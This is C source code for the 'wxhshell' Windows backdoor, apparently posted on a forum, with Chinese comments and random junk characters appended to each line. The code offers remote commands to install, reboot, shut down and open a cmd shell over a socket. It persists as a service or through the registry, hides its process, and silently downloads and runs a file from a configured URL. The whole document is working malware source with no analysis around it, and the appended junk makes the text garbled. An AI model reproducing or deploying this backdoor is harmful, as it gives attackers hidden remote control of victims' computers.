  // 帮助 Y(m/E.h.~  
  case '?': { Y@Lv>p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BikmAa  
    break; 6*A S4l  
  } ME>OTs  
  // 安装 |FS79Bv  
  case 'i': { OU]!2[7c  
    if(Install()) so9h6K{qcp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j;=+5PY  
    else S@k4k^Vg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @-NdgM<  
    break; |4\.",Bg  
    }  G;Q)A$-  
  // 卸载 %F3M\)jU  
  case 'r': { %A,4vLe~6  
    if(Uninstall()) 9mEC|(m*WK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |p4F^!9  
    else 4hg#7#?boW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]>b.oI/  
    break; J)6RXt*!  
    } ' &^:@V  
  // 显示 wxhshell 所在路径 od"Oq?~/t  
  case 'p': { /VgA}[%y  
    char svExeFile[MAX_PATH]; a-MDZT<xA+  
    strcpy(svExeFile,"\n\r"); 5)wz`OS  
      strcat(svExeFile,ExeFile); razVO]]E  
        send(wsh,svExeFile,strlen(svExeFile),0); ?dl7!I@<E<  
    break; iN %kF'&9  
    } ~gNa<tg"1  
  // 重启 )V*Z|,#no  
  case 'b': {  5%mc|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  O3bo3Cm$  
    if(Boot(REBOOT)) c_s=>z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r{pTM cDS  
    else { uCB7(<  
    closesocket(wsh); s(w6Ldi  
    ExitThread(0); vj]-p=  
    } 1mz;4xb  
    break; JQP7>W  
    } ?\L@Pr|=Dr  
  // 关机 fil'._  
  case 'd': { Pn\ Lg8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +?5nkhH  
    if(Boot(SHUTDOWN)) 6+b!|`?l+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?lKFcm  
    else { U;<07 aMj  
    closesocket(wsh); 3WZ]9v{k  
    ExitThread(0); EJ;:O1,6H  
    } 5`53lK.C  
    break; qgbp-A!2zF  
    } <Td4 o&JR  
  // 获取shell Wf^6:  
  case 's': { $vnshU8/v  
    CmdShell(wsh); cT'D2Yeq  
    closesocket(wsh); FaYDa  
    ExitThread(0); GS_'&Yj  
    break; 3K c  
  } d/vF^v*o0X  
  // 退出 =B@owx  
  case 'x': { k_ 9gMO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +@ga  
    CloseIt(wsh); eGwrSF#a)  
    break; 9^h0D}#@  
    } Xp"ZK=r  
  // 离开 <t>"b|fW  
  case 'q': { MDGD*Qn~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z& e_yl  
    closesocket(wsh); sPuNwVX>}I  
    WSACleanup(); `h*)PitRa  
    exit(1); 8@^=k.5IK  
    break; )R.y>Ucb0  
        } u=I\0H  
  } N2[EdOJT_  
  } 2fM*6CaS  
GLrHb3@"N  
  // 提示信息 ]|ew!N$ar=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); . Xn w@\k'  
} 8x#SpDI  
  } 6,"86  
3e+ Ih2  
  return; 4 8l!P(>?y  
} } QVREj  
G9J+D?'hH  
// shell模块句柄 Sz|;wsF{  
int CmdShell(SOCKET sock) P~/Gla k  
{ dr#g[}l'H  
STARTUPINFO si; ?s/]k#H  
ZeroMemory(&si,sizeof(si)); ~UA:_7#\M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;WxE0Q:!~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x8 YuX*/I  
PROCESS_INFORMATION ProcessInfo; 'o;>6u<u  
char cmdline[]="cmd"; {XAm3's  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oh c/{D2  
  return 0; 4n_f7'GZg  
} mcvd/  
D=uU:7m  
// 自身启动模式 EUZ#o\6  
int StartFromService(void) {WfZE&B  
{ p2s*'dab7  
typedef struct BM9J/24  
{ <RH2G   
  DWORD ExitStatus; / qp)n">  
  DWORD PebBaseAddress; nA$zp  
  DWORD AffinityMask; 1 ;Bgtv$  
  DWORD BasePriority; jI:5[. Y  
  ULONG UniqueProcessId; C\#E1\d  
  ULONG InheritedFromUniqueProcessId; s|L}wtc  
}   PROCESS_BASIC_INFORMATION; Rg@W0Bc)  
Y|$3%t  
PROCNTQSIP NtQueryInformationProcess; Q'xZ\t  
*F7ksLH|q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AG/?LPJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OE_;i}58  
F*Lm=^:  
  HANDLE             hProcess; RS'!>9I  
  PROCESS_BASIC_INFORMATION pbi; 1 XsB  
1Z-f@PoM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J<J_yRg2  
  if(NULL == hInst ) return 0; !;EG<ji,gj  
zQvp<IUq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CJ0{>?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); + q@kRQY;n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4mNg(w=NF  
v53qpqc  
  if (!NtQueryInformationProcess) return 0; Ovu!G q  
rBR,lS$4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eaSf[!24"  
  if(!hProcess) return 0; GddP)l{uCF  
gYb}<[O!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kex4U6&OQB  
?VVtEmIN  
  CloseHandle(hProcess); 7S+_eL^  
_4H 9rPhf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Reci:T(_  
if(hProcess==NULL) return 0; a?&{eMEe}  
}s i{  
HMODULE hMod; &,~0*&r0  
char procName[255]; ~m4{GzB  
unsigned long cbNeeded; ^=kUNyY  
HjG!pO{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l!U F`C0g  
m^hi}Am1  
  CloseHandle(hProcess); hbfTv;=z  
+JQ/DNv  
if(strstr(procName,"services")) return 1; // 以服务启动 24;F~y8H  
Td~CnCor  
  return 0; // 注册表启动 9&(d2  
} H$GJpXIb  
%-u Ra\  
// 主模块 9cV;W\ Tw  
int StartWxhshell(LPSTR lpCmdLine) W!.F\H,(  
{ v8=7  
  SOCKET wsl; gzdR|IBa  
BOOL val=TRUE; HHd;<%q  
  int port=0; ca~nfo  
  struct sockaddr_in door; @nIoYT='  
}\+7*|  
  if(wscfg.ws_autoins) Install(); q0* e1QL  
eAvOT$  
port=atoi(lpCmdLine); 6KT]3*B   
}@VdtH  
if(port<=0) port=wscfg.ws_port; ue?e}hF  
+v$,/~$tI  
  WSADATA data; DK-V3}`q}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k.UQT^.  
>SS YYy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NFDh!HUm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1$1s 0yg  
  door.sin_family = AF_INET; /"$A?}V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?"23XKe  
  door.sin_port = htons(port); + Xc s<+b  
VG,O+I'^z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |Dz$OZP  
closesocket(wsl); T4H/D^X|  
return 1; .aJ\^Fx  
} J-Xw}|>@  
QPL6cU$&R  
  if(listen(wsl,2) == INVALID_SOCKET) { =}SH*xi6  
closesocket(wsl); 8HL$y-F  
return 1; i6)7)^nG  
} .&|Ivz6  
  Wxhshell(wsl); {[Bo"a>%  
  WSACleanup(); jS_fwuM  
*Cs RO  
return 0; bU3e*Er  
/3( a'o[  
} cu)ssT  
os<YfMM<:/  
// 以NT服务方式启动 /E(319u_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mPhrMcL  
{ 2QU ZBrs s  
DWORD   status = 0; bf#@YkE  
  DWORD   specificError = 0xfffffff; <m") 2dJ  
x d9+P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -1~-uE.~4d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CC8M1iW3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;;A8*\*$  
  serviceStatus.dwWin32ExitCode     = 0; 8oAr<:.=  
  serviceStatus.dwServiceSpecificExitCode = 0; $>Y2N5  
  serviceStatus.dwCheckPoint       = 0; l'Oz-p.@  
  serviceStatus.dwWaitHint       = 0; 2.xA' \M  
R8Kj3wp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e|6kgj3/  
  if (hServiceStatusHandle==0) return; :[hZn/  
e7T}*Up  
status = GetLastError(); +`y{r^xD  
  if (status!=NO_ERROR) ihv=y\Jt  
{ `,-w+3?Al  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BYh F?  
    serviceStatus.dwCheckPoint       = 0; ao+lLCr  
    serviceStatus.dwWaitHint       = 0; 6bv~E.  
    serviceStatus.dwWin32ExitCode     = status; % s|` 1`c  
    serviceStatus.dwServiceSpecificExitCode = specificError; .?<M$38fv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2hD(zUSy  
    return; c/K:`XP~  
  } )qyJw N .D  
+JDQ`Qk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :>y?B!=  
  serviceStatus.dwCheckPoint       = 0; r4X0. mPY*  
  serviceStatus.dwWaitHint       = 0; *y6zwe !M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S-^:p5{r  
} Bf)}g4nYn  
DQ#rZi3I  
// 处理NT服务事件,比如:启动、停止 H<Ne\zAv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q?&Ap*  
{ &oU) ,H  
switch(fdwControl) B^;G3+}  
{ XBvJc'(s  
case SERVICE_CONTROL_STOP: 8Uv2p{ <#  
  serviceStatus.dwWin32ExitCode = 0; @ )bCh(u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; D90.z"N\i9  
  serviceStatus.dwCheckPoint   = 0; ~2HlAU))<&  
  serviceStatus.dwWaitHint     = 0;  BVJ6U[h`  
  { 5mtsN#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zCpsGr  
  } &3@ {?K  
  return; IdHyd Y1  
case SERVICE_CONTROL_PAUSE: ?.A~O-w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HITw{RPrW  
  break; a/@F?\A  
case SERVICE_CONTROL_CONTINUE: FrKI=8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?h$ =]  
  break; bi@z<Xm%  
case SERVICE_CONTROL_INTERROGATE: :!'!V>#g  
  break; ?j'Nx_RoX  
}; Ht{Q=w/ 9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <6!;mb ;cX  
} ?QJS6i'k  
hggP9I :s,  
// 标准应用程序主函数 zp4aiMn1F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q=,  
{ 6 h?v/\  
)\`.Ru~,  
// 获取操作系统版本 bjR:5@"  
OsIsNt=GetOsVer(); b6]MJ0do  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3dl#:Si  
?3duW$`  
  // 从命令行安装 B.Szp_$  
  if(strpbrk(lpCmdLine,"iI")) Install(); l?f%2:}m  
qcmf*Yl:v  
  // 下载执行文件 [. rULQl  
if(wscfg.ws_downexe) { 6d# 7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =ws iC'  
  WinExec(wscfg.ws_filenam,SW_HIDE); j\LJ{?;jC  
} B(eC|:w[z  
*wfb~&: }  
if(!OsIsNt) { jmE\+yz  
// 如果时win9x,隐藏进程并且设置为注册表启动 [iO*t, 3@h  
HideProc(); I:l/U-b7h  
StartWxhshell(lpCmdLine); VZhHO d  
} d~ |/LR5  
else 8:9/RL\"x  
  if(StartFromService()) ?q*,,+'0  
  // 以服务方式启动 PLV-De  
  StartServiceCtrlDispatcher(DispatchTable); $2kZM4  
else ]%Db%A  
  // 普通方式启动 :`Z'vRj  
  StartWxhshell(lpCmdLine); m9Pzy^g1  
,f[`C-\Q%  
return 0; \nzaF4+$  
}
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只看该作者 1 发表于: 2006-10-10
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